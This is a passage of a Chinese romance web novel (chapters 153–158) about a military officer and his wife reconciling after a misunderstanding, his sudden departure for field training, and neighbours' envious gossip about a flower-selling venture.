邓翠香眼角好不容易挤出来的眼泪马上就被姜营长这一下耍宝给带走了,伸手打了他一下,说道。 “我是想让你去提醒一下沈团长,让他去跟柒柒商量着,补办个婚礼。” 姜营长风卷残云般把碗里剩下的面扒拉干净,把碗筷往邓翠香手里一塞,站起身说。 “嗨!我还当什么事儿呢!没问题啊!我现在就去!等两天我怕忘了!” 邓翠香赶忙拉住他,“别现在啊!人这会儿肯定睡觉了!” 姜营长头也不回地摆了摆手。 “睡啥啊?这两天都忙驻训计划的事儿,沈团长指定比我回来的还晚呢!我早去早回吧我!” 夜色更深了,路灯把姜营长的影子拉得老长。 茫茫夜色中,沈团长也刚推开家里的门。 屋里,周柒柒踩着缝纫机的声音“哒哒”响着,听见动静,她赶忙放下手里的活儿,迎了出来。 “可算回来了,怎么今天回来的更晚了?我去给你热饭去。” 自打那天去军区医院复诊完,沈淮川就急着回部队报道。 领导叮嘱他注意休息,可他就像上了发条的机器,根本停不下来。 今晚更是忙到快十点才回家,军装皱巴巴的,领带也歪到了一边,脸上满是疲惫。 第154章 谁都没说话 看到周柒柒往厨房走,感觉眼皮有点痒,就伸手摸了摸,没注意脚下,拐弯时打了个晃。 沈淮川刚从外头回来,见她这副样子,赶紧两步跨到厨房门口拦住人,门都没顾得上关。 “我自己去热就行了,你先回去睡吧。” 他说话时喉结轻轻滚动,眉梢拧着点不易察觉的疼惜。 周柒柒刚要摇头,院门外就传来“咚咚”的敲门声。 姜营长亮堂的嗓门顺着门缝钻进来,“沈团长!在家不?我这儿有急事找你!” 周柒柒朝门口努了努下巴,从门后钩子上摘下蓝布围裙,利落地系在腰间,围裙带子在身后打了个紧实的结。 “行了,你俩说吧,这么晚了姜营长肯定有正经事儿找你。我去热饭就行,煤炉里留着火呢,就开个炉盖的事儿,累不着人。” “行。” 沈淮川“嗯”了声,伸手替她把围裙下摆翻折的边角抚平,然后就去招呼姜营长了。 姜营长说话直接,连沈淮川倒的水都没喝,竹筒倒豆子般把媳妇的话给带到了。 “...反正我听我媳妇的意思,是想让我提醒一下你,这婚礼,该补办就给人家补办一个,不然人家女同志心里头不舒服。” “嗯,这事儿我知道了。” 沈淮川点了点头,抬头问道,“邓嫂子怎么好端端的,说起这事儿了?” 姜营长嘴快,说话又经常不动脑子,直接说道。 “这不下午的时候,那个林瑶在广场上为这事儿为难你媳妇了嘛,你媳妇还没跟你说呢?” 沈淮川眼神有些闪烁,“我刚回来,没说两句你就来了。” 姜营长拍了拍自己。 “怪我怪我,来得太早了,反正具体咋回事你媳妇待会儿肯定就跟你说了,这么天大的委屈呢!回头你可得好好补偿补偿!这婚礼,可是一个女人一辈子的大事!只要是个女人,都希望能风风光光嫁给自己的丈夫!” 为了完成媳妇的任务,他刻意说得十分严重。 说着,他伸长了脖子往厨房看过去,见周柒柒没出来呢,赶紧凑过去叮嘱道。 “要不然啊,这女人委屈起来,可要闹得你头疼了!到时候可能连床都不让你上!” 沈淮川握着水杯的手指节微微发白,喉结重重滚了下,没说话。 姜营长惦记着家里等着的媳妇,屁股还没坐热就起身告辞,沈淮川去关门。 回来的时候,周柒柒正把饭菜往桌上摆。 三菜一汤冒着热气,卤肉饭上还卧着颗卤蛋,蛋黄油润得直往下淌。 “姜营长咋走这么急?” 她把排骨萝卜汤往沈淮川跟前推了推,问道,“不会是翠香姐家出啥事了吧?” “没有。” 沈淮川转身去水缸边洗手。 夜里水管流出来的水冰凉刺骨,他掬起水往脸上泼时,听见周柒柒在屋里喊。 “刚才我去地窖里看一下,柿子熟了好多,你吃完饭也尝尝,我都洗过了。” 说着她自个儿坐在凳子上,拿着柿子啃了起来。 脆柿子被生石灰捂得金黄,她咬下去时“咔嚓”一声,汁水顺着嘴角往下淌,脆甜清亮。 “今天家里怎么样?” 沈淮川用粗布毛巾擦着手,在饭桌前坐下。 搪瓷碗里的米饭堆得尖尖的,还冒着袅袅热气。 “能有啥事儿?都挺好的。” 周柒柒头也不抬,啃着柿子的手在围裙上蹭了蹭,说道。 “哦,对了,舟舟今儿在画室比赛,居然输了,他们画室有个小男孩,叫什么光明的,听说可努力了...” “还有,今儿个张副厂长给我打过电话来,说改造的冬款已经开始生产了,明天就让赵大姐把样衣给我寄回来一套,还有贷款那事儿,也递到赵副市长那边了,应该很快就有信了。” ...... 她说来说去,全都是好消息,就是没提在林瑶那儿受的委屈,更没说起婚礼的事儿。 “没别的了?” 他听了半天,都没听到自己想听的,忍不住开口,声音比平时低了些。 周柒柒终于抬起头,眼睛睁得溜圆,“没了啊,能有啥别的?” 沈淮川心里空落落的,仿佛有阵冷风从心口吹过。 两个人明明是夫妻,但周柒柒每次遇到什么解决不了的事儿,或者是受了委屈,从来的都不会告诉他。 之前工厂合同出事,她宁愿换个工厂合作,甚至找外地的厂子,也不开口找她帮忙。 今天在广场上受了委屈,也没告诉他。 还有,来的火车上遇到小偷那事儿,更是不主动跟他提。 总之,她好像所有愁苦的事儿,都自己扛,从来没有要告诉他的意思。 沈淮川感觉像是生嚼了苦瓜一样,苦涩的味道在心中慢慢泛开。 他突然想起姜营长说的话,“女人委屈起来要闹得你头疼”。 可他媳妇连头疼的机会都不给他。 周柒柒听他半天没说话,抬头一看,只见他嘴角向下撇,和今儿向阳和舟舟闹别扭的时候一模一样,不由问道。 “怎么了嘛?” 沈淮川低了头,“没怎么。” 他低头不去看周柒柒,自己挑起了话头。 “对了,先前不是说等有空,带你去见爸妈吗?到时候顺便补办一个婚礼吧?你想在军属区,还是在爸妈家里?” 周柒柒轻轻皱了皱眉说道。 “咋又提这事儿?先前不说了嘛,办不办都行。要是爸妈想办,就在老家办呗,让老人家高兴高兴。” 一边说一边转身把啃剩的柿子核扔进垃圾桶,也没回头,声音轻飘飘的,像柳絮一样,好像随时都能飘走一样。 “行。” 沈淮川低低应了一声,机械地扒拉着碗里的饭,米粒嚼在嘴里没了滋味。 没吃多少,就去洗碗去了。 等他洗完碗回来,周柒柒已经躺下了,见他回来,往旁边挪了挪,被窝里的热气涌出来。 要是换做平常,沈淮川肯定是凑近躺上去了,他已经习惯挨着媳妇睡觉了。 但今天,他却是只在床沿躺下了。 两人隔着半尺宽的距离躺着,谁都没说话。 第155章 馋你身子怎么了 周柒柒早习惯晚上睡觉的时候,有沈淮川挨着自己,她能一觉睡到天亮。 再也不想从前那样,睁着眼睛到夜里两三点也睡不着。 所以她一直等着沈淮川挨过来呢。 可等到身边的热气都快散完了,沈淮川却还没有移过来。 她侧过脸一瞧,黑灯瞎火里只见沈淮川半截身子悬在床沿,跟个闹别扭的半大孩子似的,连被角都只盖了小半截。 周柒柒指尖抠了抠被面,心里头“咯噔”一下。 好像,自从那天晚上,她做了“荤梦”,跨坐在沈淮川身上,结果被许家人打断之后,沈淮川就一直有点不对劲。 周柒柒心里“咯噔”一下,该不会是自己不小心说了什么错话?惹沈淮川不高兴了? “淮川,你怎么了?” 她往他那边蹭了蹭,声音带着点凉意。 黑暗里传来沈淮川闷闷的一声“我……”。 这人在军区大院里是出了名的硬气,带兵时嗓子一吼能震得营房发颤,就是团里的老首长找他谈话,他也能腰板挺得笔直对答如流。 可这会儿躺在自家床上上,心里头翻江倒海的话愣是堵在嗓子眼,怎么也说不出口。 他活了二十五年,摸爬滚打里过来的人,但在男女关系上还是个雏儿呢。 周柒柒可从来不是一个会内耗的人,主打一个有话就说,有气就撒。 而且,她最是知道,这夫妻俩之间有什么事儿,绝对不能憋在心里,能当天解决的,一定要当天解决。 上辈子,父母吵架,每次都是吵到一半,摔盘子、摔碗就结束了,话永远不说清楚。 但是那股子没说完的火气,就跟灶膛里没灭透的柴火,闷在那儿天天冒烟,到后来家里头没一天不呛地慌。 她好不容易有了个热乎的家,可不能由着这火闷起来。 她干脆直接坐了起来,把沈淮川连褥子带人往自个儿身边拽。 “你过来说话,离我那么远干嘛?” 但是她(没)想到,沈淮川人高马大,她使出吃奶的劲儿拽了拽,人家纹丝不动,自个儿倒因为使猛了劲儿往后一仰,眼瞅着要跌到床下去。 慌神间,腰上一紧,沈淮川的大手跟铁钳似的捞住了她,往怀里一带。 两人四目相对,又回到了呼吸可闻的距离。 周柒柒也不客气,直接伸出双手圈住沈淮川的脖子,点了点他沁出汗的鼻尖。 “你是不是因为那天晚上的事儿,生气了?” “哪天晚上?” 沈淮川的喉结上下滚动了一下,声线有点发紧。 周柒柒的脸颊蹭着他的肩窝,咬着唇尖小声嘟囔。 “就、就那天我做梦呗,迷迷糊糊的……” 说到后来自己都臊得慌,干脆耍赖似的往他怀里缩。 “哎呀,你知道的,我那会儿睡着了,在做梦呢,说的都是梦话,不作数的,这梦里说的,和现实脑子里想的,都是相反的!你可千万别在意!” 她这话本想说得硬气些,可嗓子眼儿里溜出来的调子却跟化了的糖水似的,甜津津又带着点娇憨。 沈淮川听着,脑子里“嗡”的一声,又想起那天夜里她歪着脑袋凑过来的模样,睫毛湿漉漉的,像沾了露水的蝶翼。 不知怎的,忽然就扯住他的领口,咬住他的耳垂。 说要他喊他老婆,宝宝,女王... 甚至还说馋他的身子。 虽然当时他心里听了很不是滋味儿,酸酸的。 觉得媳妇是只馋他身子,没把他当成可以依靠的丈夫。 但不知道为什么,现在听周柒柒说,这些都是梦话,不作数的,他却觉得更不得劲儿了。 “相反的?” 他的大手搁在她后腰上,指腹隔着薄薄的睡裙蹭了蹭,眼神幽深。 “你是说...你不想让我叫你老婆,宝宝...女...女王...” 他顿了顿,耳根子红得快要烧起来,咬着牙把剩下的话挤出来。 “还是说...你不馋我身子?” 话音没落,他就着揽着她的力道往前一探,嘴唇几乎要贴上她的耳廓。 吐出的热气烫得周柒柒脖颈子一缩,浑身像过了电似的酥酥麻麻的。 “你、你都听见了?” 她猛地抬头,撞进他深不见底的目光里,慌得赶紧低下头。 “嗯,听得真真儿的。” 沈淮川的声音从头顶压下来,带着点暗哑的磁性,“到底是作数,还是不作数?” 他见她闷着头不吭声,干脆学她前儿夜里的样,拿嘴唇轻轻蹭了蹭她的耳垂。 那嘴唇冰凉凉的,蹭得周柒柒浑身发软。 她最受不得这招,心里头那点不好意思早被这股子酥麻劲儿冲散了,仰起脸就想反驳,话到嘴边却成了娇嗔。 “作数!作数还不行吗!我就馋你身子咋了?你是我男人,不叫我馋叫谁馋?难不成叫林……” 瑶字还没说出口呢,她就被沈淮川攥着手腕往他肚子上按。 隔着一层单衣,掌心下是紧实的腹肌,一块一块的,烫得她指尖发颤。 “给你馋,”沈淮川的声音低得像大提琴的弦,拨得周柒柒心尖一颤,“只给你一个人馋。” 话音未落,沈淮川低下头,薄唇贴上了她的娇嫩的红唇。 从医院回来之后,周柒柒为了沈淮川的身体,严格遵循“医嘱”,除了在浴室那次,两人几乎就没有再有亲密的举动了。 周柒柒杏眸瞪得大大的,没想到这个吻来得这么突然,不自觉“呜...”了一声。 沈淮川的吻一开始还有点生涩,带着军人特有的干脆,可闻着她身上那股淡淡的香味,听着她喉咙里那声又娇又媚的嘤咛,脑子里那根弦“嘣”地断了。 他的大手扣着她的后颈,吻得越来越深,唇齿间带着不容拒绝的力道,却又小心翼翼,怕碰疼了她似的。 周柒柒被他吻得晕乎乎的,原本搭在他肩上的手不知何时缠上了他的脖子,指尖无意识地挠着他后颈的短发。 这细微的动作让沈淮川浑身一紧,喉结滚动着,干脆翻身将她压在身下。 吻从唇边滑到耳垂,他的牙齿轻轻碾着那片软肉,周柒柒浑身打了个激灵,身子不自觉地弓了起来,像只被顺毛的猫儿,嘴里溢出细碎的嘤咛。 她从来不知道,只是亲耳朵就能让她软成这样,骨头缝里都透着股子痒。 沈淮川见她这副模样,眼底的暗沉又深了几分,干脆顺着她的脖颈往下吻。 她穿的是自个儿缝的吊带睡裙,细带子早滑到了肩膀,露出半截雪白的肩头。 他的手指蹭过那片肌肤,冰凉的触感让周柒柒缩了缩,却又忍不住往他怀里凑。 沈淮川眸色暗沉,冰冷的大手覆了上去... 吻也像是暴风雨似的,落在她身上各处。 周柒柒感觉自己像掉进了热水锅里,浑身烫得厉害,偏偏沈淮川的吻像块冰,所到之处能压下那股子火,却又引得更旺的热意往上冒。 第156章 馋身子就馋身子吧 周柒柒觉得自个儿像河池里的一丛荷花,入夏时遭了场急雨,叶片被打得左摇右晃,连带着池子里的水都跟着发烫。 她蜷着脚趾头,脚底板蹭着床单,粗布的纹理硌得人发痒,偏生身上又软得使不上劲儿,只能任由沈淮川的吻像雨点似的落下来。 她身上的睡裙早不知滑到了哪处,窗外的月光照亮沈淮川探手去脱背心的动作。 他胳膊伸得笔直,袖口蹭过周柒柒的锁骨,带起一阵细密的痒。 就在这时,他忽然低低地咳嗽起来,胸腔震动着贴在她心口,那声音闷得像塞了团棉花。 周柒柒心里一紧,指尖下意识就按上他的胸口。 隔着一层汗湿的背心,能摸到他肋骨处绷得紧紧的。 之前肋骨骨裂的伤还没彻底好利索,这几天,沈淮川又为了野外驻训的计划,天天连轴转,眼下咳得肩头都在发颤。 周柒柒心疼得厉害。 但也知道,这会儿直接喊停,还是因为他身体的事儿,沈淮川是肯定不会同意的。 她转了转眼珠子,睫毛扫过他鼻尖,故意把声音放软。 “淮川,下...下次再来好不好?” 说着,她下巴往自己胸口努了努,那儿零星落着几片红印子,在灯光下泛着淡粉。 她咬着唇尖,眼尾泛起水光,伸手去挡他覆过来的手。 “我浑身都没力气了,还有这儿...怪疼的,求你了...” 沈淮川的目光落在那些痕迹上,喉结狠狠滚动了一下。 他眼底的暗沉几乎要溢出来,可对上周柒柒湿漉漉的眼睛,那股子血气又硬生生压了下去。 他俯身亲了亲她发烫的脸颊,嘴唇蹭到她耳垂时哑着嗓子说。 “成,都听老婆的,明天再来。” “不许叫!” 周柒柒指尖抵住他嘴唇,却被他含住轻轻吮了一下。 他拨开她黏在脸上的发丝,指腹蹭过她汗湿的鬓角。 “那叫你什么?宝宝?还是……” 话音未落,他又吻了上来。 这次的吻带着点克制,像是怕碰碎了怀里的人,没多会儿就松开了。 两人鼻尖对着鼻尖喘气,周柒柒额头上的汗顺着鬓角往下淌,黏得脖子发痒。 “我去打点水。” 沈淮川先开了口,声音还带着点沙哑。 他捞起地上的搪瓷盆,往暖壶里兑了半盆温水,又抄起毛巾绞干。 回到床边时,周柒柒正拿被角遮着身子,见他过来,脸“腾”地红了。 “我自个儿来就行......” “别动。” 沈淮川蹲在床边,把毛巾叠成小块,先擦她的脖颈。 毛巾的温度刚刚好,带着淡淡的香皂味,他擦得极慢,指腹顺着锁骨的弧度轻轻揉,遇到红印子就格外放轻力道。 等她换上干净的的睡裙,沈淮川才端着盆去擦自己。 他弯腰时后背的肌肉线条绷得笔直,看得周柒柒直咽口水。 周柒柒正想提醒他小心伤口,就听“啪嗒”一声,他端着盆的手一滑,半盆水全泼在了他放在床尾的被子上。 “哎哟!” 周柒柒赶紧掀开被子查看,深绿色的被面湿了老大一片,正往下滴着水。 家里本来就两床被子,沈淮川这一床还是从雷政委家“借”来的,确实没有多余的被子了。 周柒柒也没了法子,只能让沈淮川跟她用同一张被子了。 两个人结婚三个月了,这还是第一次真正意义上的睡一个被窝呢。 两人肩挨着肩躺下,中间只隔着巴掌宽的空隙。 窗外的月光透过窗棂洒进来,在床上投下斑驳的影子。 经历了刚才那么一场,两人一时都没什么睡意。 周柒柒侧过脸,伸手戳了戳沈淮川的胳膊。 “现在能说了吧?今儿到底为啥闹别扭?” 她现在算是知道了,沈淮川根本就不是因为哪天的事儿生气,她这纯粹是自己找了一通“罪”受。 沈淮川转过头,眼神在月光下显得亮晶晶的。 “你今天在广场受委屈的事儿,为什么不跟我说?” “委屈?” 周柒柒愣了愣,翻了个身对着他,“我啥时候受委屈了?” 沈淮川也转身过来,“就是林瑶欺负你的事儿...” “她?欺负我?” 周柒柒得意地翻了个小白眼。 说着便是把下午广场上,她和邓翠香、朱莹莹三人,大战四个长舌妇,还有林瑶、许枣姑嫂俩的事儿完完整整地说了一遍。 她说得眉飞色舞,还把小胳膊伸出来晃了晃。 “就我这力气,不把她打得找不着北就算客气了,还能让她欺负?” “快缩回去,别着凉。” 沈淮川赶紧把她的胳膊塞进被窝。 周柒柒把两只手枕到脑袋下面,问道,“你听谁瞎传的啊?” 沈淮川没说出姜营长的名字,只是默默把他加进了这一次野外训练,团队对抗的名单上。 他伸手摸了摸周柒柒还有些潮湿的刘海,指腹在她眉心轻轻按了按。 “柒柒,以后不管遇上啥事儿,跟我说一声,好不好?” 周柒柒咬了咬唇,仰头问道。 “你是说,上次和第一服装厂没签成合同的事?我这不是怕你帮不上忙,跟着我一起白担心吗?” 沈淮川定定地看着她的眼睛,眼中的温柔化都化不开。 “我是你的丈夫,你的家人,一起担心,总比你一个人担心好,而且,你怎么知道,我帮不上忙呢?” 说着便是握住她的手,放在自己心口。 他掌心的温度透过皮肤传来,烫得周柒柒鼻尖发酸。 她往他怀里蹭了蹭,把脸埋在他肩窝。 “好吧,那下次我有什么事儿,都第一时间告诉你。” “嗯,”沈淮川低笑一声,下巴抵着她发顶,“那现在还有什么瞒着我的不?” “我...” 周柒柒想摇头,有点心虚,咬着唇小声说道。 “我答应你,只要我能告诉你的,我都告诉你,但有些事...” 沈淮川没追问,眸色幽暗,兀自轻叹了口气,收紧手臂,把她搂得更紧了些。 “没关系,等你想说的时候,再说就行了。” 窗外的月光静静流淌。 周柒柒听着他胸膛里规律的心跳声,忽然想起他刚才闹别扭的傻样,忍不住笑出声。 “所以啊,你就因为这事儿,跟我闹了半宿别扭?” 沈淮川的耳朵又开始发烫,好在夜里瞧不真切。 他闷闷地“嗯”了一声,算是承认,但随即又用下巴蹭她的头发。 “还有一件事,你只馋我的身子。” 他声音突然低下去,带着点委屈,“不馋我这个人?” “我...” 周柒柒愣了一下。 她之前一直都是这么告诉自己的,她只是馋沈淮川的身子而已,人之常情。 和沈淮川只是搭伙过日子而已。 但这句话被沈淮川说出来,却像是一根刺而已,扎得她心口酸酸的,还莫名有点慌。 既不能否认,却也不想承认。 没等她琢磨明白咋回话,沈淮川忽然低下头,嘴唇轻轻碰了碰她额头。 “算了算了,馋身子就馋身子吧,” 他把她搂得更紧,下巴抵着她发顶,“但只能馋我的,听见没?别人的……” “别人的哪有你的好!” 周柒柒脱口而出,说完才觉得脸上发烫。 她偷偷瞅了眼沈淮川,见他嘴角翘了起来,在月光下看得清清楚楚。 “哦?” 沈淮川低下头,鼻尖蹭着她鼻尖,“哪儿好?你给我细说细说。” 沈淮川猛地把她搂进怀里,轻笑了一声。 周柒柒被他勒得直哼哼,却也忍不住跟着笑。 窗外的月光不知何时被乌云遮住了,屋里头黑漆漆的,只有两人压抑的笑声和彼此贴近的心跳声。 周柒柒把耳朵贴在他胸口,听着那有力的心跳,打了个哈欠,眼皮越来越沉,迷迷糊糊地想。 明天得给沈淮川做点牛肉补补了,要不这骨裂总不见好呢,还有,厂子里的样衣明早改到了,得好好看看,还有舟舟的美术作业,明天得提醒她好好画,不能再被姜向阳带着到处满院子疯玩了... 想着想着,就彻底沉入了梦乡。 沈淮川感觉到怀里的人呼吸渐渐匀实,低头在她发顶印下一个吻。 第157章 突然的野外驻训 昨夜,周柒柒和沈淮川之间悄然滋生出一种难以名状的微妙变化。 周柒柒自己也闹不明白。 明明亲眼目睹了父母十几年婚姻里的鸡零狗碎—— 那些因柴米油盐、家长里短而起的争吵,那些在生活重压下逐渐消磨的温情,那些感情消亡后对彼此滋生的恶意,那些分道扬镳后对她这个“多余的人”毫不掩饰的嫌恶。 父母各自组建新家庭,她成了被推来推去的皮球。 这一桩桩、一件件,都让她对爱情和婚姻失去了幻想。 所以一开始,她不过是想和沈淮川搭伙过日子罢了。 她计划着,做一个本本分分的军嫂,操持好家里的大小事务; 做一个体贴入微的妻子,把家里收拾得井井有条; 做一个没有血缘关系却能相互依靠的亲人,在平淡的日子里彼此照应。 可谁能料到,短短三个月,她的心态就不受控地发生了转变。 当沈淮川目光灼灼地望着她,说出“我是你的丈夫,你的家人,一起担心,总比你一个人担心好...”时,那眼神里满得快要溢出来的疼惜与温柔。 像一团小火苗,直直地烧到了她的心尖上,烫得她整颗心都颤巍巍的。 后来,沈淮川那声带着几分调侃又暗藏期待的“是不是只馋他身子,不馋他这个人”,更是让她心慌意乱。 她发现,自己竟然那么抗拒承认这个说法,心里像是塞了一团棉花一样,堵得慌。 这一刻,她不得不正视内心那个有些陌生的想法—— 她好像,真的爱上沈淮川了。 这个念头一直萦绕在脑海。 第二天清晨,从睡梦中醒来,迷迷糊糊地走到水龙头底下。 冷水泼在脸上的瞬间,她才彻底清醒过来,而那个突然冒出来的“爱”字,让她猛地打了个激灵。 她慌慌张张地又捧了一捧凉水,使劲往脸上泼,嘴里还小声嘟囔着,像是在说服自己。 “不不不,没有到爱情,我才不会爱上谁呢,只是喜欢而已,嗯,一点点喜欢,还是馋身子多过馋人,对,馋身子,馋身子...” 话刚说完,沈淮川那句暗沉低哑的“明天再来”突然在耳边响起,她的脸“腾”地一下就红了,耳根子也跟着烫了起来。 铁杵之下,她也不知道自己还能坚持自欺欺人的嘴硬多久... 她有些懊恼地晃了晃脑袋,赶紧拿起牙刷,用力挤了一大坨牙膏,好像这样就能把那些乱七八糟的想法都刷掉。 昨晚的折腾让她起晚了,这会儿都已经七点了。 她心里想着,沈淮川这会儿应该去食堂打早饭了,再过一会儿就能吃上热乎饭了。 正琢磨着呢,就听见大门“吱呀”一声被推开了。 周柒柒满心欢喜地扭过头,脸上还挂着期待的笑容,话都到嘴边了,“淮川,你回...” 可话还没说完,笑容就僵在了脸上。 走进来的不是沈淮川,而是秦磊。 只见秦磊一手手里拎着个网袋,里面装着饭盒,另外一只手拎着两瓶羊奶,他一路小跑冲到周柒柒面前,跑得气喘吁吁,胸脯剧烈地起伏着。 “嫂子,团长让我跟你说,他不回来了,军区今儿就要开始野外驻训,他一早已经过去安排部署了,我给您送了饭带了信儿,也得赶快过去一趟,马上出发了!” “什么?!” 这个消息来得太突然,周柒柒一下子没反应过来,整个人都懵在了原地。 之前沈淮川跟他说过,敌人是不会告诉你什么时候袭击的。 所以部队里为了作战需要,经常会搞突然袭击,但这也太突然了。 但周柒柒很快意识到时间紧迫,连忙伸手接过秦磊手里的东西,嘴里催促着。 “那你赶紧去吧!” 等秦磊的身影消失在门口,周柒柒这才猛地想起来还有事。 她三步并作两步跑回屋里,手忙脚乱地收拾了些东西,又急匆匆地追到门口,扯着嗓子喊道。 “哎,等等,家里换洗的衣裳,还有滋补品啥的,你给你们团长带上,还有药,都拿了没啊?” 秦磊在远处停下脚步,远远地招了招手,大声回应道。 “药随行的军医那儿都备好了,其他啥也不能带,有困难只能自己克服,嫂子你就甭操心了!” 周柒柒扯着嗓子又喊道,“那得去多久啊?什么时候回来?” 可秦磊已经走远了,压根没听见,周柒柒只能怔怔地扶着门扇,看着他远去的背影,心里空落落的,像是丢了什么重要的东西。 邱春芳这时正在自家院门口扫地呢,冷不丁把一盆凉水泼到周柒柒脚边,嘴里还没好气地说道。 “野外驻训而已,小半个月就回来了,那么矫情干啥?!没见识!” 说完,她“哐当”一声自顾自地把自家院门给关上了。 可关上之后,她自己却靠在门扇上,眼神呆呆地望着晾衣绳上赵毅的蓝色大裤衩子,也不知道在想些什么。 还没等她发愣几秒,就听见小儿子赵耀祖在屋子里扯着嗓子喊了起来。 “我不吃这个!我要吃鸡蛋!鸡蛋!” 邱春芳把手里的扫帚“啪”地一丢,赶紧小跑着进了屋,把正哄着赵耀祖的二萌和三萌推开。 满脸堆笑,哄着他说。 “哟,小祖宗,你这又是怎么了?家里没鸡蛋了,之前那老母鸡让你霍霍死了之后,鸡蛋也没了,只能出去买,一块钱一斤呢,哪能天天有啊...” 赵耀祖在家里被惯得无法无天,根本不听她解释,一把将桌上的烧饼推到地上,一屁股坐在地上,扯开嗓子嚎啕大哭起来。 “呜呜呜,我不,我就要吃鸡蛋!十个鸡蛋!少一个都不行!” 邱春芳看着宝贝儿子哭得满脸通红,心疼得不得了,一边用袖子给他擦眼泪,一边满口应承。 “行行行,吃十个,吃十个,妈给你去红娟姨家里借去...” 说完,她又扯着嗓子在屋子里喊道。 “一萌,一萌,过来看着弟弟妹妹,妈出去一下!” 喊了半天都没人回应,邱春芳眉头一皱,没好气地问,“人呢?” 二萌正在地上扒拉掉落的烧饼呢,也不嫌土,塞进嘴巴里边吃边,努了努下巴,囫囵不清的说道,“大姐在...在后院背书呢!” “吃吃吃!就知道吃!一个个都讨债鬼似的!” 邱春芳骂了她两句,气冲冲地往后院走去,果然看见瘦瘦小小的赵一萌正拿着本语文书,扬起小拳头,背得全神贯注。 “风!你咆哮吧!咆哮吧!尽力地咆哮吧!在这暗无天日的时候,一切都睡着了,都沉在梦里,都死了的时候,正是应该你咆哮的时候,应该你尽力咆哮的时候!” 第158章 不就是动动嘴皮子 邱春芳眉头皱得能夹死一只苍蝇,叉着腰没好气地骂道。 “咆哮什么咆哮?吵死人了!混个高中文凭而已,整天咆哮个什么劲儿!你瑶瑶阿姨来的时候,你手脚麻利点,嘴甜点,殷勤巴结着,不比你抱着那几本破书有用?成天就知道背背背!也不知道帮着看娃!一点儿都不懂事!养你干嘛用的?!” 她扯着嗓子,声浪一波波往外冲,唾沫星子跟下雨似的,喷得菜园子里的菜叶子上都挂满了水珠,倒省了浇水的功夫。 赵一萌被这突然的呵斥吓了一跳,眼神里闪过一丝不赞同,她低着头,没敢顶嘴。 邱春芳见她不吱声,更来气了,上前一步,粗粝的手掌重重推在赵一萌肩膀上。 “去!看着点弟弟妹妹!我出去一下!” 这一推让赵一萌打了个踉跄,费了好大的劲儿才站稳。 她依依不舍地放下书,慢腾腾地往前院走去。 而邱春芳则急急忙忙、气喘吁吁地跑到了李红娟家。 一见到李红娟,邱春芳就开门见山地说要借十个鸡蛋。 李红娟听了,眉头也皱了起来,一脸为难地说,“我家也没那么多鸡蛋了。” 自从上次学校出那事儿之后,廖爱民就总给她脸色看。 他一个月九十块钱的津贴,以前每个月都会给李红娟六十块当生活费。 可现在,他埋怨李红娟管不好孩子,自己也不愿意回家吃饭,生活费一下子就缩水到了四十块,整整少了二十块。 李红娟每个月偷偷贴补娘家的钱不能少,就只能在伙食上克扣,现在家里每人一天就一个鸡蛋,多的实在拿不出来。 不过李红娟眼珠子一转,倒是想到了个主意,她朝着隔壁王大嫂家努了努下巴,说着。 “你去隔壁借去,她家最近天天有肉吃,鸡蛋肯定也少不了! 邱春芳一脸怀疑,撇了撇嘴说。 “啥?王大嫂家里可是那老婆子管钱呢,她那么抠搜,能天天让买肉?真的假的?” 李红娟翻了个大白眼,语气酸溜溜地说。 “当然是真的了,前天王大嫂还给小雷、小锋一人一个大鸡腿吃呢!也不知道炫耀啥?!就她家吃得起肉似的!” 邱春芳眼睛一斜,压低声音,满脸八卦地问,“是不是她那卖花生意挣大钱了啊?” 李红娟嗤笑一声,不屑地说。 “卖个花花草草能挣啥钱?况且她还是找人合伙的,一盆花两家分钱,都不够丢人钱的!咱们可是军嫂!都有身份的人...” 两人正叽叽喳喳地说着,就听见隔壁传来一阵响亮的招呼声。 “王大嫂!开门!我是赵大梅,我来拿花了!” 邱春芳和李红娟对视一眼,默契地踮起脚尖,探出身子。 只见赵大梅穿着一身崭新的蓝布褂子,规规矩矩站在王大嫂家门前敲着门。 门本来就没关,王大嫂一家人正在堂屋门口吃早饭呢。 听见声音,王大嫂赶紧把手里端着的稀饭放下,围裙都没来得及解,就小跑着去门口招呼。 “快进来!我家里正吃早饭呢!你吃过没有,没有的话坐下来一起吃!我正好多煮了一个鸡蛋!锅里还有稀饭!” 她带着赵大梅走到院子当中,王家婆婆也笑着招呼道。 “是啊,小赵,一起吃点?” 不过她说着,眼睛却是不自觉瞟向那个多了的鸡蛋,浑浊的眼珠转了转,显然是不舍得。 “不了,我已经吃过了。” 赵大梅看都没朝那边看,冲着王家婆婆笑了笑,就把视线转向了王嫂子。 “咱们还是先拿花要紧,今天礼拜天,早点出去能多卖钱,还有上次卖的钱,还没给你呢,账也在这儿,你看着分。” 说着,她解下腰间绑着的包袱,从里面掏出一个用手绢包得严严实实的小包,一层又一层地打开。 “成。” 王大嫂点了点头,手在围裙上搓了搓,把掌心的水渍蹭干,正准备接钱呢。 王家婆婆笑眯眯地看着赵大梅,对她的举动还是十分满意的,努了努下巴,对王嫂子说道,“先去把门关上。” “哦,对对。” 王大嫂应了一声,小跑着去把院门闩上,这才又坐回小板凳上,一张一张仔细地数着钱。 一家人的眼睛都死死地盯着那沓钱,谁都没注意到,院墙上不知何时冒出了两颗脑袋—— 邱春芳和李红娟像两只伸长脖子的鹅,恨不得把眼珠子贴到王大嫂手上。 等数完了钱,对完了账单,王大嫂便开始带着赵大梅一起往外搬花。 院墙上的邱春芳和李红娟怕被人发现了,赶紧从水缸上头爬了下来。 李红娟跳下来后,拍了拍膝盖上的土,凑到邱春芳耳边,压低声音问。 “你刚才瞅着,那个乡下婆子给王大嫂多少钱?” 她刚才被邱春芳肥硕的屁股挤在院墙上,腰抵着粗糙的砖棱,心里又慌着怕摔下去,根本没怎么看清楚。 只看到厚厚一叠,好像怎么数都数不完似的。 邱春芳咬紧了后槽牙,咬牙切齿道,“我瞅着,至少得有二十五块钱呢!只多不少!” “什么?这么多?” 李红娟猛地吸了口凉气,她掰着手指头,眼珠子滴溜溜转着。 “我瞅着这乡下婆子隔着三、四天就来一次,到现在为止,拢共来了四次了,也就是说,不到一个月,就赚了一百块钱!那乡下婆子,要是拿一半的话,就是五十块钱!” 邱春芳眼珠子都快掉下来了。 “五十块钱?!瑶瑶一个医学院毕业的大学生,在咱卫生所上班,一个月就能拿五、六十块钱,她凭啥拿这么多?不就是动动嘴皮子卖花而已!” 两人对视时,眼底翻涌的贪婪几乎要溢出来。 